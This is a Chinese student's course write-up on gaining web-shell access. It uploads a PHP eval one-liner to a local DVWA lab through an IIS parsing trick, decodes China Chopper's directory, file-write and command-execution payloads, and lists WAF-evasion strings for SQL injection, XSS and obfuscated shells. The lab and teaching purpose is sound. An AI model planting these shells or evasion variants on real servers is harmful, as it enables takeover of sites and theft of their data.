2017-2018-2 20155303『網絡對抗技術』Final:Web滲透獲取WebShell權限

2017-2018-2 『網絡對抗技術』Final:Web滲透獲取WebShell權限

————————CONTENTS————————


一.Webshell原理及簡介

1.什麼是WebShell

WebShell,顧名思義:web指的是在web服務器上,而shell是用腳本語言編寫的腳本程序,WebShell是web的一個管理工具,能夠對web服務器進行操做的權限,也叫WebAdmin。數據庫

WebShell通常是被網站管理員用於網站管理、服務器管理等等一些用途,可是因爲WebShell的功能比較強大,能夠上傳下載文件,查看數據庫,甚至能夠調用一些服務器上系統的相關命令(好比建立用戶,修改刪除文件之類的),一般被黑客利用,黑客經過一些上傳方式,將本身編寫的WebShell上傳到web服務器的頁面的目錄下,而後經過頁面訪問的形式進行入侵,或者經過插入一句話鏈接本地的一些相關工具直接對服務器進行入侵操做。apache

WebShell根據腳本可分爲:PHP腳本木馬、ASP腳本木馬,也有基於.NET的腳本木馬和JSP腳本木馬。除此以外,還有用Python腳本語言寫的動態網頁,所以也有與之相關的WebShell。windows

根據功能可分爲:大馬和小馬。小馬一般指一句話木馬,例如:<%eval request(「pass」)%>一般把這句話寫入一個文檔裏面,而後文件名改爲xx.asp。而後傳到服務器上面。這裏eval方法將request(「pass」)轉換成代碼執行,request函數的做用是應用外部文件。這至關於一句話木馬的客戶端配置。而大馬具備更強大的功能,例如查看並操做服務器端文件等。瀏覽器

2.WebShell的特色

WebShell後門文件具備隱蔽性強、功能強、危害大等特色。WebShell與正常的網頁程序同樣,經過HTTP或者HTTPS協議訪問。因爲使用與被控制服務器相同的web服務端口傳輸,所以不會被防火牆攔截。經過WebShell訪問不會在系統日誌中留下記錄,只會在web網站的web日誌中留下一些數據提交記錄。高級的WebShell程序僅會在web日誌中出現GET或者POST的操做,不會有具體的後門操做信息,所以較難發現,隱蔽性強。安全

目前,WebShell後門程序功能強大,除了文件操做和數據庫操做以外,還能夠提權,配合特定程序穿透內網,危害性較大。在一般狀況下,經過WebShell能夠實現讀取數據庫、導出數據庫文件、查看服務器具備訪問權限的全部文件等功能。在具備MySQL root帳號、MSSQL sa帳號等狀況下,能夠直接提高,得到操做系統權限,經過執行特定程序實現如中轉、木馬植入等功能。

返回目錄


二.滲透工具簡介

1.中國菜刀

「中國菜刀」的英文名爲「chopper」,是一款專業的網站管理軟件,用途普遍,使用方便,小巧實用。只要支持動態腳本的網站,均可以用中國菜刀來進行管理。一樣地,攻擊者可利用該工具進行一些WebShell操做,從而實現對服務器文件的控制。

中國菜刀支持的服務端腳本:PHP、ASP,主要用於鏈接一句話木馬。主要功能有:文件管理(有足夠的權限時候能夠管理整個磁盤/文件系統),數據庫管理,虛擬終端。當後門被上傳到服務器端以後,只須要知道後門的具體位置和鏈接密碼等相關信息,就能夠執行腳本發起攻擊。

點擊「忽略此風險」,便可進入下載界面,在本地解壓:

  • Step2:雙擊「caidao」可執行文件打開軟件,彈出界面以下所示:

右擊,在彈出的快捷菜單中選擇「添加」命令,便可添加shell地址。以下圖所示。

在「地址」文本框中輸入一句話木馬的shell地址,在「地址」文本框後面的文本框中輸入一句話木馬的鏈接密碼,在「配置」區域選擇腳本類型(程序會自動識別腳本類型),最後點擊「添加」按鈕,完成添加:

  • Step3:雙擊剛剛添加的shell的地址,便可鏈接該後門。若是後門執行成功,則會顯示網站的目錄結構和文件等信息,以下圖所示:

能夠看到,目標服務器端的目錄結構、文件名稱、時間、大小以及讀取權限都盡收眼底了......

  • Step4:除了能夠獲取文件信息以外,在文件處右擊還有更多針對文件的可供選擇的操做:刪除、複製、重命名、修改文件夾時間、新建等等。其中,攻擊者能夠利用「上傳文件」功能將更多大馬傳到服務器,完成更多的滲透攻擊。

功能好強大!那怎樣作才能查看甚至操做服務器端的文件呢?在後面的實戰中再詳細介紹~

返回目錄

2.御劍後臺掃描工具

御劍後臺掃描工具是爲衆多從事網絡工做並擔任網絡安全管理職位的人制做的一款後臺安全掃描工具,它能幫助實時監控後臺文件的安全性,防護網站風險,爲網站的正常運做提供最大的保障。但另外一方面,御劍掃描枚舉可能的後臺路徑這一行爲,也爲攻擊者爆庫和利用漏洞進入後臺提供了便利。

  • Step2:雙擊「御劍後臺掃描工具」可執行文件打開軟件,彈出界面以下所示:

在「域名」輸入框中填入要掃描的後臺地址,在下方可對掃描線程以及掃描時間進行設置。設置完畢,點擊「開始掃描」便可開始掃描。

這個工具到底有什麼用呢?咱們一塊兒來試試看...

找來一個網站進行練習:http://demo.testfire.net/【這是一個真實的網站環境,但專門用於模擬滲透測試,因此不用擔憂被請喝茶喔】

在「域名」輸入網址http://demo.testfire.net/,開始掃描。掃描結果以下:

HTTP響應值爲200,表明頁面能夠訪問。點擊這個連接http://demo.testfire.net/admin/login.aspx,進入了後臺管理的界面:

獲得了這個界面,就能夠進行下一步滲透測試啦~

返回目錄


三.web應用程序配置

有不少有漏洞的應用程序,咱們能夠用來以學習爲目的練習滲透測試。下面是一些應用程序:

Damn Vulnerable Web Applications (DVWA): 基於PHP, Apache以及MySQL,須要安裝到本地。

OWASP WebGoat: J2EE web 應用程序,須要在本地運行。

Hack This Site:在線學習滲透測試的網站。

Testfire: 在線學習滲透測試的網站。

下面,咱們將學習如何在虛擬機中安裝有漏洞的運行程序。在這個練習中,咱們將配置Damn Vulnerable Web Application (DVWA)。這個應用程序有若干基於web的漏洞,好比跨站腳本 (XSS), SQL注入, CSRF,命令注入等。

DVWA(Damn Vulnerable Web Application)是一個用來進行安全脆弱性鑑定的PHP/MySQL Web應用,旨在爲安全專業人員測試本身的專業技能和工具提供合法的環境,幫助web開發者更好的理解web應用安全防範的過程。

安裝並運行web服務器的步驟以下:

先雙擊「xampp_start」啓動:

再雙擊「xampp-control」打開xampp的控制面板。點擊「start」開啓Apache和MySQL的服務:

  • Step4:在http://www.dvwa.co.uk/下載DVWA應用程序,解壓到一個新的文件夾裏,命名爲「dvwa」。

  • Step5:打開「C:\xampp\htdocs」文件夾,把該文件夾裏的內容移動到另一個地方。把「dvwa」文件夾拷貝到C:\xampp\htdocs目錄下。

  • Step6:在瀏覽器的地址欄中輸入http://127.0.0.1/dvwa/login.php,會出現「Database Setup」數據庫設置界面:

  • Step7:到「C:\xampp\htdocs\dvwa\config」文件夾下,用記事本打開「config.inc」文件,移除「db_password」的值:

  • Step8:回到瀏覽器,刷新頁面,會顯示一個登陸頁面。輸入默認的用戶名和口令如「admin/password」,登陸應用程序:

至此,咱們成功配置了一個web服務器並在其上安裝了一個應用程序。接下來就能夠訪問http://127.0.0.1/dvwa/login.php開始攻擊練習了。

返回目錄


四.練習:利用DVWA文件上傳漏洞獲取WebShell權限

攻擊原理:web容器的解析漏洞,以及配合解析漏洞上傳木馬。

下面以最簡單的一句話木馬爲例,進行測試:

使用用戶名admin和密碼password登陸DVWA,在左側選擇「File Upload」。

編寫一句話測試腳本OneCode.php,內容爲:

<?php
@eval($_POST['apple']);
?>

瀏覽並選擇此木馬文件:

點擊「Upload」,卻發現上傳失敗了:

提示Your image was not uploaded. We can only accept JPEG or PNG images.,emmmmmmm...看來爲了不木馬腳本的攻擊,服務器對上傳文件格式進行了限制。

咱們按照要求,上傳一個正常的「JPEG or PNG images」試試看:

成功了。那麼做爲攻擊者的咱們,就應該考慮:若是將木馬文件重命名爲圖片文件,是否能夠上傳呢?

實踐證實,這種思路是能夠完成上傳的。但上傳並非咱們的最終目的,圖片格式的木馬並不利於咱們進一步執行腳本。還有沒有其餘的思路呢?使其既能上傳,也能執行呢?

查閱資料瞭解到,DVWA網站服務器使用的是IIS 6.0的web容器。而IIS6.0有一個很著名的漏洞:文件解析漏洞

如何利用IIS 6.0的解析漏洞呢?

IIS 6.0解析利用方法有兩種

  • 目錄解析:

/xx.asp/xx.jpg

在網站下創建文件夾的名字爲.asp.asa 的文件夾,其目錄內的任何擴展名的文件都被IIS看成asp文件來解析並執行。

若是建立目錄 wooyun.asp,那麼/wooyun.asp/1.jpg將被看成asp文件來執行。假設攻擊者能夠控制上傳文件夾路徑,無論上傳後的圖片改不更名,就都能拿shell了。

  • 文件解析:

wooyun.asp;.jpg

在IIS6.0下,分號後面的不被解析,也就是說wooyun.asp;.jpg會被服務器當作是wooyun.asp

根據上面的解釋,在這裏,咱們將一句話測試腳本OneCode.php重命名爲OneCode.php;.jpg再次嘗試上傳:

點擊「Upload」,成功上傳:

同時咱們能夠看到給出了腳本所在的相對路徑:../../hackable/uploads/OneCode.php;.jpg

一句話木馬一般與須要與一句話木馬相應的客戶端同時使用,才能實現對服務器的控制。這時候就須要用到咱們以前提到的「中國菜刀」工具了。

下面嘗試鏈接這個一句話木馬。

打開菜刀工具,添加一個shell,其中地址可根據給出的相對路徑獲得:http://192.168.130.132/dvwa/hackable/uploads/OneCode.php;.jpg,後面的鏈接密碼填腳本中寫的「apple」,腳本類型爲「PHP(Eval)」,添加。

雙擊這個shell,成功獲取到了服務器端的所有文件:

在某些狀況下,服務器對上傳文件大小會有限制,所以攻擊者每每選擇先上傳比較小的一句話木馬,使用菜刀工具成功鏈接後再在菜刀工具中上傳更大的木馬,以實現對服務器端全面的控制。

至此,咱們就成功利用DVWA文件上傳漏洞獲取到了WebShell權限。

返回目錄


五.中國菜刀原理剖析

在上面的實踐中,咱們親身體會到了「中國菜刀」工具的強大之處。那麼它是如何進行通訊的呢?如何藉助已上傳的一句話木馬實現目錄顯示、文件上傳和模擬虛擬終端等功能的呢?

1.目錄顯示

中國菜刀提供了很是方便的文件管理功能,新建鏈接,雙擊打開鏈接後,便可看到服務器端文件目錄的界面:

接下來咱們檢查一下中國菜刀的通信網絡流量,經過抓包軟件分析器服務器和客戶端的通信狀況,以下圖所示,能夠看出客戶端在80端口上,以HTTP POST方式通信:

利用抓包軟件Wireshark的「跟蹤流」功能能夠看到整個TCP數據交互過程。以下圖所示,上面紅色部分爲攻擊者POST提交控制命令的內容,下面藍色部分爲被控端返回結果:

咱們將關注點放在攻擊者控制代碼部分,打開這個包:

可見攻擊者爲了防止特殊字符傳輸失敗的異常,代碼通過了Base64編碼。內容爲:

apple=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=QzpcXDIwMTU1MzAzXFw%3D

最前面的部分爲通過url編碼的數據,解碼以後爲:apple=@eval(base64_decode($_POST[z0]));,意爲將z0數據以POST的方式提交,並使用Base64解碼,最後再解析爲腳本執行。

接下來咱們看看z0表明的參數的值。將「&z0=」後面的部分解碼並格式化,結果爲:

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("|<-");;
$D=base64_decode($_POST["z1"]);
$F=@opendir($D);
if($F==NULL)
    {
        echo("ERROR:// Path Not Found Or No Permission!");
    }
    else{
        $M=NULL;
        $L=NULL;
        while($N=@readdir($F))
            {
                $P=$D."/".$N;
                $T=@date("Y-m-d H:i:s",@filemtime($P));
                @$E=substr(base_convert(@fileperms($P),10,8),-4);
                $R="\t".$T."\t".@filesize($P)."\t"$E."";
                if(@is_dir($P))
                    $M.=$N."/".$R;
                else $L.=$N.$R;
            }
        echo $M.$L;
        @closedir($F);
    };
echo("|<-");
die();
&z1=C:\\20155303\\

經過查詢手冊,具體分析關鍵函數及參數的含義:

  1. @ini_set("display_errors","0");臨時關閉PHP的錯誤顯示功能;
  2. @set_time_limit(0);防止上傳文件大馬時,會產生超時;
  3. @set_magic_quotes_runtime(0);magic_quotes_runtime 是php.ini裏的環境配置變量,0和false表示關閉本功能,1和true表示打開本功能。當magic_quotes_runtime打開時,全部外部引入的數據庫資料或者文件等都會自動轉爲含有反斜線溢出;
  4. echo("|<-");一個簡單的打印;
  5. $D=base64_decode($_POST["z1"]);設置變量D爲目錄句柄,內容爲POST提交的z1。z1參數的具體值在最後面進行了說明:&z1=C:\\20155303\\
  6. $F=@opendir($D); opendir() 函數打開一個目錄句柄,可由 closedir(),readdir() 和 rewinddir() 使用。若成功,則該函數返回一個目錄流,不然返回 false 以及一個 error。能夠經過在函數名前加上 "@" 來隱藏 error 的輸出;
  7. $N=@readdir($F) readdir() 函數返回由 opendir() 打開的目錄句柄中的條目。若成功,則該函數返回一個文件名,不然返回 false;
  8. $P=$D."/".$N;返回目錄下的全部文件;
  9. $T=@date("Y-m-d H:i:s",@filemtime($P));返回該目錄或文件的時間;
  10. @$E=substr(base_convert(@fileperms($P),10,8),-4);以數字方式顯示文件或目錄的權限,其中fileperms() 函數返回文件或目錄的權限,base_convert() 函數在任意進制之間轉換數字;
  11. $R="\t".$T."\t".@filesize($P)."\t"$E."";返回指定文件大小的字節數。

從代碼能夠清楚地看出,在接收z1=C:\\20155303\\這個參數後,代碼打開指定目錄的句柄,而後進行循環掃描,並附帶上權限、時間、大小、日期這四個參數,用\t製表符拼在一塊兒捆綁發送回客戶端。到客戶端以後,再用string_split之類的函數分開來,循環一一顯示在UI上。

執行完這些腳本代碼以後,就完成了目錄顯示的功能。

2.文件上傳

接下來看看獲取WebShell最重要的功能——上傳文件,這是下一步滲透攻擊的基礎。首先上傳一張圖片:

此次wireshark抓到了兩組對話,基本內容大概能夠猜到了,一個是上傳文件,一個是刷新並顯示目錄。咱們先來分析第一個包:

數據部分爲:

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskZj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKCJcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZWNvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik/IjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw==

解碼以後的結果爲:

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$f=base64_decode($_POST["z1"]);
$c=$_POST["z2"];
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)
    $buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
echo("|<-");
die();
&z1=C:\\final\\4ṇ.png

後面&z2=...部分是所傳圖片以十六進制方式顯示的結果。

這段代碼最關鍵的部分是最後的fwrite()函數,也就是將咱們指定的裝滿數據的緩衝區寫入指定的路徑中。只要Apache用戶在當前目錄下有寫權限,PHP腳本調用windows API時就能夠完成寫操做,也就是文件上傳。

剛纔提到文件上傳過程當中,客戶端與服務器進行了兩次交互。咱們再來看看第二個數據包中的內容:

解碼以後的內容爲:

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$f=base64_decode($_POST["z1"]);
$c=$_POST["z2"];
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)
    $buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
echo("|<-");
die();

能夠看出,跟咱們以前分析過的「顯示目錄」部分的腳本代碼大同小異。這部分代碼功能就是在上傳文件以後,對文件目錄進行刷新,顯示出剛剛上傳的文件。

3.虛擬終端

這個功能更加神奇了,效果跟咱們攻擊成功得到的cmd shell同樣:

咱們試着分析一下它的原理。先運行一個dir命令,抓包以下:

一樣地將數據部分解碼,獲得:

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$p=base64_decode($_POST["z1"]);
$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
$r="{$p} {$c}";
@system($r." 2>&1",$ret);
print ($ret!=0)?"
&z1=cmd
&z2=cd /d "C:\xampp\htdocs\dvwa\hackable\uploads\"&dir&echo [S]&cd&echo [E]

查找手冊,看看關鍵函數如何使用:

  1. dirname()返回路徑中的目錄部分;
  2. $_SERVER["SCRIPT_FILENAME"]當前執行腳本的絕對路徑,獲取後供dir命令等使用;
  3. substr()返回字符串的一部分;
  4. $c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";這是一段正則表達式,用捕獲分組得到字符串中的參數,這裏也就是 cd /d C:\xampp\htdocs\dvwa\hackable\uploads、 dir、 echo、 cd、 echo。
  5. @system($r." 2>&1",$ret);本函數就像是C中的函數system(),用來執行指令,並輸出結果。如果 return_var 參數存在,則執行 command 以後的狀態會填入 return_var 中;

也就是說,咱們指定的命令會傳入system函數中執行,並輸出結果。

返回目錄


六.淺析如何繞過WAF

前面學習了一些常見WebShell滲透工具的工做機制,但都是基於沒有防火牆的網站,這顯然不符合真實的場景。所以,掌握繞過各種WAF能夠說是滲透測試人員的一項基本技能。

目前市場上的WAF主要有如下幾類:

  • 以安全狗爲表明的基於軟件WAF
  • 百度加速樂、安全寶等部署在雲端的WAF
  • 硬件WAF

考慮到實際狀況,咱們主要針對安全狗繞過進行簡要分析。

安全狗官網下載軟件並安裝,注意區分IIS版和Apache版。

安裝以後,對網站文件目錄進行掃描。這裏咱們直接掃描已經上傳過大馬和小馬的環境,結果以下:

能夠看出,安全狗成功檢測出了網站存在的大馬和小馬。那麼,如何繞過WAF上傳木馬呢?

1.大小寫轉換法:

在某些WAF中,使用的正則存在缺陷,好比沒有使用大小寫轉換函數,所以可根據這個漏洞編寫大馬或小馬,如:

SQL:sEleCt vERsIoN();
‍‍XSS:<sCrIpt>alert(1)</script>

2.字符編碼法:

常見的SQL編碼有unicode、HEX、URL、ascll、base64等,XSS編碼有:HTML、URL、ASCII、JS編碼、base64等等。

能夠經過利用瀏覽器上的進制轉換或語言編碼規則來繞過WAF,如:

SQL:load_file(0x633A2F77696E646F77732F6D792E696E69)
‍‍‍‍XSS:<script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript>

3.字符拼湊法:

若是過濾了某些字符串,咱們能夠在他們兩邊加上「原有字符串」的一部分。

在這裏利用了WAF的不完整性,只驗證一次字符串,或過濾的字符串並不完整,如:

SQL:selselectect verversionsion();
‍‍‍‍XSS:<scr<script>rip>alalertert</scr</script>rip>

4.關鍵字替換法:

部分WAF是經過黑名單來起到攔截的做用的,將某些函數放入黑名單,從而實現攔截。這種狀況下,可使用關鍵字替代來實現繞過。

好比在MySQL中,WAF將sleep()函數列入黑名單,能夠經過具有相同功能的benchmark()函數來實現繞過。下面列舉了一些功能相同的替代函數:

< > 等價於 BETWEEN

= 等價於 like

Hex() bin() 等價於ascii()

Sleep() 等價於 benchmark()

Mid()substring() 等價於 substr()

@@user 等價於 User()

@@Version 等價於 version()

5.空白符繞過法

基於正則表達式的WAF,SQL諸如規則使用正則表達式的「\s」匹配空格,例如:select\s+union

利用空白字符進行繞過,例如union select被攔截,只須要把中間空白字符替換爲%250C%25A0等進行繞過。

union%250Cselect
union%25A0select

再好比咱們前面提到的一句話木馬:

<?php
@eval($_POST['apple']);
?>

在一開始就會被攔截:

要想繞過WAF,咱們要作的就是對一句話木馬進行變形,不外乎就是拆分替換、反序列化、動態函數(好比$_GET['function']($_POST['Cknife']);)使用回調函數(好比usortarray_map)、使用匿名函數、使用特定函數(好比create_functionasset)等等。

咱們首先嚐試使用匿名函數,用create_function建立了一個匿名函數chopper,用它來代替eval。以下爲代碼變形後的一句話木馬:

<?php
$chopper = create_function('$a', 'eval($a);');
$chopper($_POST['chopper']);
?>

仍然會被安全狗檢測出來,這是由於構造的匿名函數$chopper中也包含了eval關鍵詞,因此被查殺。

再使用拆分法,把eval拆分爲eval,再在有引號的參數前面加入stripslashes函數去除轉移符號,即修改成:

<?php

$chopper = create_function('$a', 'ev'.'al($a);');

$chopper(stripslashes($_POST['chopper']));

?>

再次提交併嘗試鏈接,就能夠成功啦~

總之,繞過WAF就是不停嘗試WAF的檢測規則,因爲WAF不能對正常的文件進行攔截,若過濾規則過於嚴格,會對網站正常訪問產生影響。做爲攻擊者,就須要找到檢測規則的漏洞,既能繞過WAF,又能實現代碼原本的攻擊功能。

返回目錄


寫在最後:WebShell實踐總結及本學期學習感想

WebShell就是以asp、php、jsp或者cgi等網頁文件形式存在的一種命令執行環境,也能夠將其稱作爲一種網頁後門。黑客在入侵了一個網站後,一般會將asp或php後門文件與網站服務器WEB目錄下正常的網頁文件混在一塊兒,而後就可使用瀏覽器來訪問asp或者php後門,獲得一個命令執行環境,以達到控制網站服務器的目的。顧名思義,「web」的含義是顯然須要服務器開放web服務,「shell」的含義是取得對服務器某種程度上操做權限。WebShell經常被稱爲入侵者經過網站端口對網站服務器的某種程度上操做的權限。因爲webshell其大可能是以動態腳本的形式出現,也有人稱之爲網站的後門工具。

在本次實踐中,我瞭解了WebShell相關的知識,學習了大馬小馬的編寫方式,還嘗試使用了獲取WebShell的經常使用工具,並對其實現機理進行了深刻分析,最後上述基礎上,搭建網站,部署WAF,並學習了繞過WAF的幾種方式。總體來看,如何經過WebShell完成一次成功的攻擊,這個脈絡仍是比較清晰的。入手點以及須要考慮的問題主要有如下幾個:第一,木馬如何編寫?在滲透以前,首先要明白本身目的何在。上傳大馬仍是小馬?是顯示後臺目錄仍是執行某些命令?一些網站會對上傳文件的大小進行限制,這就須要先上傳簡單的一句話木馬,再經過工具上傳更大的木馬了。第二,如何上傳木馬?出於安全性考慮,通常網站並不容許上傳一些疑似木馬的文件,這就須要尋找存在的漏洞進行上傳。針對IIS 6.0而言,咱們能夠利用文件解析漏洞實現上傳。第三,上傳以後,如何控制咱們上傳的腳本文件,讓其完成功能?若是已經上傳了大馬,直接訪問大馬的腳本網頁便可;若是是一句話木馬,就須要先使用中國菜刀等工具進行鏈接,再進行後續操做。鏈接時還須要考慮,如何繞過WAF呢?把以上三個步驟都實現了,控制網站服務器的目的也就達成了。

爲何當時會選擇免考呢?跟其餘課程不一樣,《網絡對抗技術》這門課從開始到結束都是以實踐貫穿的,不管是逆向破解、後門、免殺,仍是MSF使用、網絡欺詐等等,都是在不斷動手動手動手動手動手動手動手的過程當中掌握知識的。因此哈,雖然每次實驗都作得很舒服很帶感很刺激,但若是期末以卷面形式考,還真跟平時實踐不是一種感受呢......有始有終吧,多麼有趣的一門課,那就以一個有趣的實踐,而不是枯燥的卷面考試,來爲一學期的努力畫上句號咯。

爲何要選WebShell這個主題?emmmmmmmmm...WebShell這個方向,在九次實驗中並無涉及,其實原本打算深化其中一個實驗的內容的,但在劉老師的建(song)議(yong)之下,憑着本身對未知的興趣,就勇敢地來嘗試新鮮事物啦!在實踐的過程當中仍是走了很多彎路的,堅苦卓絕的自學之旅從圖書館借書開始。一邊讀一邊查一邊試,漸漸摸出了門路,知道了滲透的基本流程是怎樣的。但剛開始也僅僅侷限於科普的程度而已。以後每學會一點完成一點,就去向劉老師請教並探討進一步的方向,很是感謝老師不厭其煩的講解和啓發!!!從環境的正確搭建,到對工具原理的深刻剖析,在「提問——思考——動手——領悟——再提問」這個循環中,漸漸對這個實踐主題有了更加深入的理解。

總之,爲期五個月的,以實踐貫穿始終的『網絡對抗技術』課程就告一段落啦。九個實驗+期末免考項目,這門課程帶給了我不同的體會。之前聽婁老師課的時候,總有同窗抱怨老師上課講的少,可能仍是沒有適應這種動手的學習方式吧,總寄但願於按照PPT背誦期末拿高分。但對於這門課,不動手就沒法拿到一丁點分數。老師能佈置一些有趣的實驗調動同窗們的積極性,改變對「動手」的抵觸心理,實在是難能難得~但願在從此的學習中,能不忘初心,不忘專業對咱們的要求,繼續鍛鍊實踐能力,在信息安全這條道路上越走越遠吧!

返回目錄


附:參考資料

相關文章
相關標籤/搜索